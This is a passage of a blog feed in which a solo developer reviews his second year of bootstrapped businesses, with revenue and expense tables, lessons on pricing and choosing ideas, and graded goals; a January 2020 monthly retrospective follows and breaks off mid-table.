 &lt;/tr>
 &lt;tr>
 &lt;td>Meal plan sales&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$24&lt;/td>
 &lt;td>&lt;font color="green">+$24 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/hiring-content-writers/">Content writing&lt;/a>&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$3,845&lt;/td>
 &lt;td>&lt;font color="red">+$3,845 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Social media management&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$314&lt;/td>
 &lt;td>&lt;font color="red">+$314 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphic design&lt;/td>
 &lt;td>-$211&lt;/td>
 &lt;td>-$163&lt;/td>
 &lt;td>&lt;font color="green">-$48 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$1,660&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;font color="green">-$1,660 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$103&lt;/td>
 &lt;td>&lt;font color="red">+$103 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$12&lt;/td>
 &lt;td>-$12&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$1,882 &lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$2,158&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">-$276 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>At $2.3k of revenue, Is It Keto was my second-highest-grossing product for 2019. I &lt;a href="https://mtlynch.io/retrospectives/2019/04/">abandoned the site in April&lt;/a> but &lt;a href="https://mtlynch.io/retrospectives/2019/09/">came back four months later&lt;/a> after realizing that it had grown by itself without me.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/isitketo-pageviews.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/isitketo-pageviews_hu_3513122709915eb3.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-2/isitketo-pageviews_hu_4b00f1af5f1ecc81.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-2/isitketo-pageviews.jpg 700w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/isitketo-pageviews.jpg" alt="Graph of Is It Keto pageviews increasing each month until flattening out in August" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto traffic by month&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>88% of Is It Keto&amp;rsquo;s visitors come from search engines, but I&amp;rsquo;ve never been able to connect improvements in search traffic to any change I made to the site. There were months when I added lots of content, &lt;a href="https://mtlynch.io/retrospectives/2019/09/#taking-affiliate-revenue-advice-from-reddit">optimized page titles&lt;/a>, and &lt;a href="https://mtlynch.io/retrospectives/2019/09/#finally-a-backlink-for-is-it-keto">earned high-ranking backlinks&lt;/a>, yet traffic remained flat. Other times, I ignored the site for months, and Google traffic grew the entire time.&lt;/p>
&lt;p>Is It Keto was also my biggest expense, as I outsourced much of the writing. That cost me more than it should have because I knew nothing about hiring and managing writers, but the experience taught me a lot and led to my widely ignored &lt;a href="https://mtlynch.io/hiring-content-writers/">guide to hiring content writers&lt;/a>.&lt;/p>
&lt;h3 id="mtlynchio-this-blog">mtlynch.io &lt;em>(this blog)&lt;/em>&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2018&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>981,587&lt;/td>
 &lt;td>273,817&lt;/td>
 &lt;td>&lt;font color="red">-707,770 (-72%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate revenue&lt;/td>
 &lt;td>$1,244&lt;/td>
 &lt;td>$374&lt;/td>
 &lt;td>&lt;font color="red">-$870 (-70%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$3,896&lt;/td>
 &lt;td>-$460&lt;/td>
 &lt;td>&lt;font color="green">-$3,436 (-88%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">Illustrations&lt;/a>&lt;/td>
 &lt;td>-$599&lt;/td>
 &lt;td>-$769&lt;/td>
 &lt;td>&lt;font color="red">+$170 (+28%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting&lt;/td>
 &lt;td>-$309&lt;/td>
 &lt;td>-$150&lt;/td>
 &lt;td>&lt;font color="green">-$159 (-51%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://grammarly.com">Grammarly&lt;/a> (Grammar and style checking service)&lt;/td>
 &lt;td>-$140&lt;/td>
 &lt;td>-$140&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/editor/">Editing&lt;/a>&lt;/td>
 &lt;td>-$75&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;td>&lt;font color="green">-$15 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;td>-$60&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$3,835&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$1,265&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="green">+$2,570 (+67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Pageviews are down substantially, which is unsurprising. My &lt;a href="https://mtlynch.io/why-i-quit-google/">quitting Google post&lt;/a> received 500k pageviews in 2018, so I didn&amp;rsquo;t expect to land another smash hit like that.&lt;/p>
&lt;p>Still, I struggled to find readers last year. Throughout the preceding two years, many of my posts became popular without me trying very hard to promote them. I&amp;rsquo;d write the article then find an appreciative community to share it with afterward.&lt;/p>
&lt;p>In 2019, I branched out from technical writing and focused more on the struggles of running a bootstrapped business. Even though there are plenty of online communities for bootstrappers, they attract self-promoters, so the groups are less welcoming to off-site blog posts. I&amp;rsquo;ve also noticed that readers are less interested in business lessons unless the story involves thousands of dollars — earning or losing large sums both seem to work.&lt;/p>
&lt;p>Blog revenue is also down, which is fine because I don&amp;rsquo;t go out of my way to earn money from this blog. My development costs fell dramatically because the site&amp;rsquo;s freelancer shifted focus to his full-time job. Rather than hiring someone else, I&amp;rsquo;ve taken over development myself, as my web programming skills have improved over the last couple of years.&lt;/p>
&lt;h3 id="what-got-done">What Got Done&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot.png">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot_hu_9ac98a50c5b0116.png 300w, https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot_hu_fe302a0435e84136.png 600w, https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot_hu_415eca535efbcb58.png 800w, https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot.png 1043w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/whatgotdone-screenshot.png" alt="Screenshot of What Got Done website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>What Got Done is a task journaling app.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>What Got Done is a tool for recording and sharing weekly work accomplishments. It&amp;rsquo;s &lt;a href="https://mtlynch.io/status-updates-to-nobody/">a technique that I learned&lt;/a> while working at Google, and I&amp;rsquo;ve been using it to record &lt;a href="https://weeks.mtlynch.io">my progress&lt;/a> every week for the last 10 months.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Customer interviews&lt;/td>
 &lt;td>-$31&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain&lt;/td>
 &lt;td>-$12&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$43&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I never thought What Got Done was a brilliant business idea, but &lt;a href="https://mtlynch.io/keep-growing-never-profit/">months of failing to turn a profit on Is It Keto&lt;/a> left me feeling frustrated. What Got Done seemed like a fun project to cheer me up and an opportunity to teach myself &lt;a href="https://vuejs.org/">Vue.js&lt;/a>, a popular web framework.&lt;/p>
&lt;p>And it worked! I love Vue. I&amp;rsquo;ve finally found a tool that lets me build websites quickly without struggling through a maze of leaky abstraction.&lt;/p>
&lt;p>As long as I was building What Got Done, I figured that it was worth exploring whether the site could make money. After interviews with several companies, it seemed that managers felt that they could &lt;a href="https://mtlynch.io/retrospectives/2019/08/#why-use-what-got-done-when-we-have-slack">accomplish the same results with a dedicated Slack channel&lt;/a>, so I moved on.&lt;/p>
&lt;h3 id="everything-else">Everything Else&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Purpose&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Conferences&lt;/td>
 &lt;td>Networking and training&lt;/td>
 &lt;td>-$2,182&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://xero.com/">Xero&lt;/a>&lt;/td>
 &lt;td>Bookkeeping&lt;/td>
 &lt;td>-$151&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Bench to Xero migration (freelance accountant)&lt;/td>
 &lt;td>Bookkeeping&lt;/td>
 &lt;td>-$232&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://circleci.com">Circle CI&lt;/a>&lt;/td>
 &lt;td>Continuous integration&lt;/td>
 &lt;td>-$350&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://coveralls.io">Coveralls&lt;/a>&lt;/td>
 &lt;td>Test coverage tracking&lt;/td>
 &lt;td>-$270&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Conferences were a hefty expense because travel and lodging are expensive, and the conferences that accepted my speaking proposals were regional events with minimal travel assistance budgets.&lt;/p>
&lt;p>Switching from Travis to Circle for continuous integration reduced my expenses by $68/month, which worked out great because it turned out that I love Circle. They improve their product faster and integrate better with Docker. Coveralls unfortunately auto-renewed without me consciously choosing to do so. I&amp;rsquo;ve since accepted that code coverage metrics have little value for early-stage products and canceled for next year.&lt;/p>
&lt;p>I also switched from managed bookkeeping with &lt;a href="https://bench.co">Bench&lt;/a> to self-serve bookkeeping with Xero. I enjoyed Bench and have no love for Xero, but it was hard to justify an extra $1.5k/year for concierge bookkeeping when my finances were so simple and repetitive.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="raise-prices-even-if-nobodys-buying">Raise prices, even if nobody&amp;rsquo;s buying&lt;/h3>
&lt;p>One of the best pieces of &lt;a href="https://mtlynch.io/retrospectives/2019/07/#suddenly-everyone-wants-to-parse-ingredients">advice I received&lt;/a> this year was from &lt;a href="https://coryzue.com">Cory Zue&lt;/a>. He suggested that at $0.003 per request, my prices for Zestful were too low. At the time, Zestful had almost zero paid users. How could my prices be too low if nobody was buying?&lt;/p>
&lt;p>Though Zestful had few real customers, it had many &lt;em>prospective&lt;/em> customers. Every few weeks, a new company contacted me saying that they were interested in Zestful, but it was missing one tiny feature they absolutely needed. Desperate to win my first big client, I&amp;rsquo;d work feverishly to implement the functionality they wanted. A week later, I&amp;rsquo;d proudly deliver it to them.&lt;/p>
&lt;p>&amp;ldquo;Oh, yeah,&amp;rdquo; they&amp;rsquo;d reply sheepishly. &amp;ldquo;That was for a project we decided not to pursue.&amp;rdquo;&lt;/p>
&lt;p>It cost these companies nothing to ask for features, but it was extremely time-consuming for me to meet with them and implement their wishlist. I recognized what was happening but couldn&amp;rsquo;t figure out a way to stop it. Ignoring the request was an option, but what if they genuinely were prepared to spend thousands per month?&lt;/p>
&lt;p>When I took Cory&amp;rsquo;s advice and raised prices, it changed the conversation in an unexpected way. At $0.003 per request, nobody tried to negotiate with me on price. When my rates jumped by 6.5x to $0.02 per request, everyone started asking about volume discounts. Then, when they claimed they&amp;rsquo;d buy after Zestful had their pet feature, I gave them this line:&lt;/p>
&lt;blockquote>
&lt;p>Great! You can pre-pay for three months of service, and your billing cycle won&amp;rsquo;t start until that feature is available.&lt;/p>&lt;/blockquote>
&lt;p>I&amp;rsquo;ve never been burned on a feature request since.&lt;/p>
&lt;p>My prices are high enough that most customers have to spend a few hundred dollars each month to use Zestful, which discourages people from telling me about the all-important features I&amp;rsquo;d have to implement to earn their $5/month. Interestingly, the customers who ended up purchasing enterprise plans had no feature requests, and those deals closed in a matter of days.&lt;/p>
&lt;h3 id="pursuing-the-right-idea-means-rejecting-the-wrong-ones">Pursuing the right idea means rejecting the wrong ones&lt;/h3>
&lt;p>My first year as a founder, I was a puppy chasing any ball that happened to roll by. If one of my projects failed to achieve traction, I&amp;rsquo;d work on whatever idea was next in my mental queue. Building a &amp;ldquo;quick&amp;rdquo; prototype felt cheap and easy at a project&amp;rsquo;s outset, but it always took weeks of coding and subsequent months of work courting customers.&lt;/p>
&lt;p>My friend &lt;a href="https://twitter.com/jupiterunknown">David Toth&lt;/a> taught me the value of idea screening. He pointed out that whatever idea I pursue determines large parts of my life for several months at the minimum, so it&amp;rsquo;s worth choosing carefully. Instead of bounding off after the first good idea he has, David generates ideas until he has a list of at least 10. He then evaluates that list carefully to choose which has the highest chance of success.&lt;/p>
&lt;p>Reading &lt;a href="https://startsmall.com/">&lt;em>Start Small, Stay Small&lt;/em>&lt;/a> (&lt;a href="https://mtlynch.io/book-reports/start-small-stay-small/">notes&lt;/a>) and &lt;a href="https://www.momtestbook.com/">&lt;em>The Mom Test&lt;/em>&lt;/a> (&lt;a href="https://mtlynch.io/book-reports/the-mom-test/">notes&lt;/a>) also influenced how I approach new businesses. Both books encourage founders to start with market research and build the product later. As a result, I was conservative about building anything and gave myself permission to bail if my investigation indicated an idea was no longer my best chance of success.&lt;/p>
&lt;h3 id="take-bigger-swings">Take bigger swings&lt;/h3>
&lt;p>When I set last year&amp;rsquo;s goal to $500/month in revenue, people encouraged me to set a higher target. New businesses have a high chance of failure, so I may as well shoot for the moon.&lt;/p>
&lt;p>Looking back, I still feel that $500/month was sensible. Is It Keto was a nice &amp;ldquo;beginner business&amp;rdquo; because the mechanics were so simple. Ads and affiliate purchases generated about $0.01 per visitor, on average. More visits meant more money, so I got to experiment with different growth strategies without worrying about things like pricing, sales funnels, or customer support. It was gratifying to watch my revenues begin at a &lt;a href="https://www.indiehackers.com/forum/isitketo-month-4-my-first-dollar-of-revenue-03e572f661">paltry $1/month&lt;/a> and then grow by 50-150% each month to reach $400/month by the end of the year.&lt;/p>
&lt;p>The flip side was seeing the limitations of low-margin businesses. When revenues are a penny per customer, most avenues for expansion are off the table. It makes no sense to pay $0.50-$1.50 per click for an ad if the visitor only generates $0.01 in revenue. I&amp;rsquo;d love to bring on an employee to help grow the site, but even a cheap $200/month freelancer would have to double my traffic to justify their cost.&lt;/p>
&lt;p>Now that I&amp;rsquo;m entering my third year as a founder, I&amp;rsquo;m ready to make bigger bets. Growing Is It Keto gave me the confidence to push myself more. That means taking on projects where success would afford me a couple of part-time contractors.&lt;/p>
&lt;h2 id="i-still-love-it">I still love it&lt;/h2>
&lt;p>When people find out that I&amp;rsquo;ve run at a financial loss for the past two years, they worry that I regret leaving my cushy Google job. It&amp;rsquo;s common for founders to experience burnout after a year or two, but I&amp;rsquo;ve been fortunate never to feel that way. I chalk this up to my healthy sense of self-doubt at the start of this adventure — I expected to fail awhile before finding success. It&amp;rsquo;s also easy to avoid financial stress when you&amp;rsquo;re in no danger of running out of money.&lt;/p>
&lt;p>Every day, I come downstairs and enjoy a leisurely breakfast with my girlfriend. We live at the end of a dead-end street, so when she leaves for work, my house is perfectly quiet. After writing for 60-90 minutes, I map out the rest of my day. I don&amp;rsquo;t work after dinner or on the weekends. If I feel sleepy at 3pm, I take a nap and never worry about what my manager thinks.&lt;/p>
&lt;p>Before quitting, the part of the lifestyle I fantasized about most was the pure independence of it. It is indeed as satisfying as I dreamed. I love having full autonomy over my day and the freedom to completely change the direction of my businesses or start over when it feels right.&lt;/p>
&lt;p>I&amp;rsquo;d do this forever.&lt;/p>
&lt;h2 id="grading-my-goals">Grading my goals&lt;/h2>
&lt;p>In last year&amp;rsquo;s update, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">gave myself four goals&lt;/a> for the year:&lt;/p>
&lt;h3 id="achieve-500month-in-revenue-across-my-businesses">Achieve $500/month in revenue across my businesses&lt;/h3>
&lt;p>&lt;strong>Grade&lt;/strong>: B+&lt;/p>
&lt;p>I did hit this goal in that my revenue was $604/month for the year and $1,657/month for Q4, though it feels like cheating to include &lt;a href="https://mtlynch.io/retrospectives/2020/01/#zestful">my huge outlier sale&lt;/a> from December. Without it, I&amp;rsquo;d be at $441 in total revenue for December, which is closer to what the likely trend will be through early 2020. It&amp;rsquo;s not quite $500, but it&amp;rsquo;s satisfyingly close.&lt;/p>
&lt;h3 id="present-talks-at-three-software-conferences">Present talks at three software conferences&lt;/h3>
&lt;p>&lt;strong>Grade&lt;/strong>: A&lt;/p>
&lt;p>Three conferences accepted my speaking proposals, and I&amp;rsquo;m proud of my presentations at all of them:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Conference&lt;/th>
 &lt;th>My notes&lt;/th>
 &lt;th>Presentation&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://2019.nerdsummit.org/">NERD Summit&lt;/a>&lt;/td>
 &lt;td>-&lt;/td>
 &lt;td>&lt;a href="https://youtu.be/GfkVhr6SPz4">&amp;ldquo;Modernize any Codebase through Tooling and Technique&amp;rdquo;&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://2019.pytexas.org/">PyTexas 2019&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/">Notes&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://youtu.be/hM_ex4-xu4E">&amp;ldquo;Why Good Developers Write Bad Tests&amp;rdquo;&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://2019.pygotham.org/">PyGotham 2019&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://mtlynch.io/retrospectives/pygotham-2019-notes/">Notes&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://youtu.be/ElzBGwyDzCc">&amp;ldquo;Why Good Developers Write Bad Tests&amp;rdquo;&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I enjoy conferences and pick up useful information by attending, but if I&amp;rsquo;m being honest, they don&amp;rsquo;t materially improve my professional or personal life. Between travel, preparing my talks, and attending the event itself, I spent six to eight weeks of full-time work on conference presentations.&lt;/p>
&lt;p>I&amp;rsquo;ll continue applying to and attending conferences in 2020, but I&amp;rsquo;ll be more selective than last year.&lt;/p>
&lt;h3 id="publish-12-blog-posts">Publish 12 blog posts&lt;/h3>
&lt;p>&lt;strong>Grade&lt;/strong>: B&lt;/p>
&lt;p>Depending on how you count, I either published 9 or 13 blog posts in 2019. There were nine separate updates to my blog, but one of them was &lt;a href="https://mtlynch.io/hiring-content-writers/">a five-part series on hiring content writers&lt;/a>. Overall, I&amp;rsquo;m pleased with my writing for the year, though I did &lt;a href="#mtlynchio-this-blog">wish more of my posts had gained traction&lt;/a>.&lt;/p>
&lt;h3 id="gain-comfort-with-a-javascript-framework">Gain comfort with a JavaScript framework&lt;/h3>
&lt;p>&lt;strong>Grade&lt;/strong>: A&lt;/p>
&lt;p>I&amp;rsquo;m not a Vue expert, but I&amp;rsquo;d describe myself as &amp;ldquo;conversational.&amp;rdquo; I can build sites quickly without getting stuck on the framework itself.&lt;/p>
&lt;p>After years of banging my head against the wall with &lt;a href="https://angular.io">Angular&lt;/a>, I&amp;rsquo;m delighted to have found a framework that feels appropriate for solo developers.&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s next&lt;/h2>
&lt;p>The project that I hope to focus on for a large portion of the coming year is &lt;a href="https://wanderjest.com">WanderJest&lt;/a>, a website I created a few weeks ago.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020_hu_cbad4b6df0d661e0.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020_hu_78999d35b3a77ae1.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020_hu_c94b4452b577c828.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020_hu_aecb48ce135086a5.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020.jpg 1306w'
 src="https://mtlynch.io/bootstrapped-founder-year-2/wanderjest-feb-2020.jpg" alt="Screenshot of WanderJest website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://wanderjest.com">WanderJest&lt;/a> is a resource for finding live comedy shows.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s difficult to find local comedy shows, as listings are scattered amongst Facebook groups, comedy club websites, and ticket sellers like TicketMaster and Eventbrite. My hope is for WanderJest to unify these disparate sources, making it easier for audiences to find shows. Basically, the idea is &lt;a href="https://bandsintown.com" rel="nofollow">Bandsintown&lt;/a>, but for comedy.&lt;/p>
&lt;p>I&amp;rsquo;m piloting it in my home area of Western Massachusetts, but I&amp;rsquo;ll soon expand it to other areas.&lt;/p>
&lt;h2 id="goals-for-year-three">Goals for year three&lt;/h2>
&lt;p>Here&amp;rsquo;s what I hope to accomplish in my third year as a solo developer:&lt;/p>
&lt;ul>
&lt;li>Earn $20,000 in revenue across my businesses.
&lt;ul>
&lt;li>I tripled revenues in 2019, so $20k means tripling again.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Publish 10 blog posts.
&lt;ul>
&lt;li>This gives me time for about one article per month with enough slack for longer posts and time off to prepare a conference presentation.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Learn one new technology.
&lt;ul>
&lt;li>Learning a totally new language or framework tends to improve my overall thinking about software, and I&amp;rsquo;ve been looking for an excuse to learn &lt;a href="https://www.rust-lang.org">Rust&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>My Second Year as a Solo Developer- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow. Go gopher adapted from a design by &lt;a href="http://reneefrench.blogspot.com/">Renee French&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Pursuing a Business I'll Love</title><link>https://mtlynch.io/retrospectives/2020/01/</link><pubDate>Mon, 06 Jan 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/01/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Zestful had its biggest month ever, with $3,936 in revenue.&lt;/li>
&lt;li>Is It Keto also had its best month ever, at $393 in revenue.&lt;/li>
&lt;li>After lots of research and customer interviews, I gave up on my idea for creating sheet metal software.&lt;/li>
&lt;li>I published my first version of an app for finding live comedy.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/12/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Zestful had its biggest month ever, with $3,936 in revenue.&lt;/li>
&lt;li>Is It Keto also had its best month ever, at $393 in revenue.&lt;/li>
&lt;li>After lots of research and customer interviews, I gave up on my idea for creating sheet metal software.&lt;/li>
&lt;li>I published my first version of an app for finding live comedy.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/12/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="conduct-five-customer-interviews">Conduct five customer interviews&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted four customer interviews.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I researched and visited several sheet metal shops in my area. Of the seven I visited, four agreed to speak with me.&lt;/p>
&lt;h3 id="publish-a-new-blog-post-explaining-the-details-of-my-hello-world-using-vue-pre-rendering">Publish a new blog post explaining the details of my &lt;a href="https://github.com/mtlynch/hello-world-vue-pre-rendered">Hello World using Vue pre-rendering&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &amp;ldquo;&lt;a href="https://mtlynch.io/simple-vue-pre-rendered/">A Simple Pre-Rendered Web App Using Vue + Nuxt&lt;/a>.&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I was pleased with this blog post in that it explained the problem and solution clearly, but it didn&amp;rsquo;t gain much of an audience. I&amp;rsquo;m holding out hope that this is a &amp;ldquo;slow-burn&amp;rdquo; kind of post. It&amp;rsquo;s never going to trend on Hacker News or Reddit, but it&amp;rsquo;s what you&amp;rsquo;d hope to find if you Google &amp;ldquo;vue pre-rendering.&amp;rdquo;&lt;/p>
&lt;h3 id="publish-two-new-is-it-keto-articles">Publish two new Is It Keto articles&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published eight new Is It Keto articles.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>In anticipation of a surge in traffic in January, I offered my writer additional December hours, so we ended up producing many more articles than usual.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2019&lt;/th>
 &lt;th>December 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
